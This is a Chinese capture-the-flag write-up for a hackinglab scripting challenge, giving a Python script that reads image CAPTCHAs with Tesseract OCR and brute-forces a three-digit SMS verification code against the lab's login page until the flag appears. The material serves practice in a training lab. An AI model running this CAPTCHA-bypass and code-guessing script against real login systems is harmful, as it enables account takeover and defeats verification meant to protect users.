hackinglab-脚本关11-验证码识别:用python实现验证码识别

需要事先准备的东西

1.这几个python的模块可以用pip下载

import requests
import image
import pytesseract
import re

2.下载Tesseract:这是一个开源自动识别验证码的软件,我直接下载的.exe可执行文件。

源码和解释如下:

# -*- coding: cp936 -*-
import requests
import image
import pytesseract
import re

url1='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php'
url2='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php'
url3='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
url4='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'

#识别验证码的函数
def  user_code():
	#获取图片验证码
    r = s.get(url3)
    with open('1.bmp', 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:  
                f.write(chunk)
                f.flush()
        f.close()
        
	#识别图片验证码
    im = pytesseract.image_to_string('1.bmp')
    im = im.replace(' ', '')
    #因为验证码识别不太准确,需要用正则表达式判断一下
    if re.match('[0-9]{4}',im) :
        return im
    else :
        return user_code()


s=requests.session()
#先给手机发送验证码,不然会出现“验证码还没发呢”
r=s.post(url2,{'getcode':1,'mobi':13388886666})

#爆破手机验证码
for code in range(100,1000):
    hhh=user_code()
    print hhh,code

    data={'username':13388886666,'mobi_code':code,'user_code':hhh,'Login':'submit'}
    r=s.post(url4,data=data)
    print r.content
    #得到flag就停止
    if 'error' not in r.content :
        break

运行结果

hackinglab-脚本关11-验证码识别:用python实现验证码识别_第1张图片

你可能感兴趣的:(hackinglab-脚本关11-验证码识别:用python实现验证码识别)